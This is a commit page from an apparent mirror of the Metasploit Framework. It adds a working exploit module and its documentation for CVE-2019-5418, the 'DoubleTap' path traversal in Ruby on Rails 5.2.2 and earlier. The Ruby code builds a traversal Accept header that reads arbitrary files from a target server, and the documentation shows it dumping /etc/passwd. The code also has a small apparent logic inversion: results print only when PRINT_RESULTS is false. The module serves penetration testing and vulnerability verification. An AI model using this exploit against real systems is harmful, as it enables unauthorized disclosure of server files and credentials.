infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #11646, Add module for Rails "DoubleTap" vulnerability

master
Wei Chen 2019-04-18 16:11:09 -05:00
parent a21f49bea9 7ef9c18b58
commit 8ceefce8bf
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
2 changed files with 198 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

76
documentation/modules/auxiliary/gather/rails_doubletap_file_read.md Normal file
View File

@ -0,0 +1,76 @@
## Vulnerable Application
Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
## Verification Steps
1. Start a Rails server using a vulnerable version
2. Start msfconsole
3. Do: ```use auxiliary/gather/rails_doubletap_file_read```
4. Do: ```set ROUTE /your_route```
5. Do: ```set RHOSTS target```
6. Do: ```set TARGET_FILE /absolute/path/to/remote/file.txt```
7. Do: ```run```
8. If everything goes smoothly, you should get the contents of the remote file printed to the console.
## Options
**ROUTE**
This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file.
**TARGET_FILE**
This is the file to be read on the remote server. This *must* be an absolute path (eg. /etc/passwd).
## Advanced Options
**SKIP_CHECK**
This options skips the initial vulnerability check and continues thinking the server is vulnerable.
## Scenarios
### Version of software and OS as applicable
```
msf5 > use auxiliary/gather/rails_doubletap_file_read
msf5 auxiliary(gather/rails_doubletap_file_read) > options
Module options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
ROUTE /msf yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
RPORT => 8000
smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
ROUTE => /demo
msf5 auxiliary(gather/rails_doubletap_file_read) > run
[*] Running module against 127.0.0.1
[+] Target is vulnerable!
[*] Requesting file /etc/passwd
[+] Response from server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[*] Auxiliary module execution completed
```

122
modules/auxiliary/gather/rails_doubletap_file_read.rb Normal file
View File

@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "Ruby On Rails File Content Disclosure ('doubletap')",
'Description' => %q{
This module uses a path traversal vulnerability in Ruby on Rails
versions =< 5.2.2 to read files on a target server.
},
'Author' =>
[
'Carter Brainerd <0xCB@protonmail.com>', # Metasploit module
'John Hawthorn <john@hawthorn.email>' # PoC/discovery
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://hackerone.com/reports/473888' ],
[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
[ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q' ],
[ 'URL', 'https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/' ],
[ 'CVE', '2019-5418'],
[ 'EDB', '46585' ]
],
'Notes' => {
'AKA' => 'DoubleTap'
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('ROUTE', [true, 'A route on the vulnerable server.', '/home']),
OptInt.new('DEPTH', [true, 'The depth of the traversal.', 10]),
OptString.new('TARGET_FILE', [true, 'The absolute path of remote file to read.', '/etc/passwd']),
OptBool.new('PRINT_RESULTS', [true, 'Print results of module (may hang with large amounts of data).', true])
]
)
register_advanced_options(
[
OptBool.new('SkipCheck', [true, 'Skip the initial vulnerability check.', false])
]
)
end
def get_accept_header_value(depth, file)
return (('../'*depth) + file + '{{').gsub('//', '/')
end
def check
return true if datastore['SkipCheck']
# Check if target file is absolute path
unless datastore['TARGET_FILE'].start_with? '/'
vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
return Exploit::CheckCode::Unknown
end
# Fire off the request
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['ROUTE']),
'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
})
if res.nil?
vprint_error "Request timed out."
return Exploit::CheckCode::Unknown
end
if res.body.include? 'root:x:0:0:root:'
return Exploit::CheckCode::Vulnerable
else
vprint_error 'Target is not vulnerable. Make sure your route is correct.'
return Exploit::CheckCode::Unknown
end
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Check did not pass, exiting.'
return
end
fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
print_status "Requesting file #{datastore['TARGET_FILE']}"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['ROUTE']),
'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
})
if res.nil?
print_error "Request timed out."
return
end
unless res.code == 200
print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
print_error 'User probably doesnt have access to the requested file.' if res.code == 500
return
end
unless datastore['PRINT_RESULTS']
print_good 'Response from server:'
print_line res.body.to_s
end
store_loot('rails.doubletap.file', 'text/plain', datastore['RHOSTS'], res.body.to_s, datastore['TARGET_FILE'], "File read via Rails DoubleTap auxiliary module.")
print_status 'Results stored as loot.'
end
end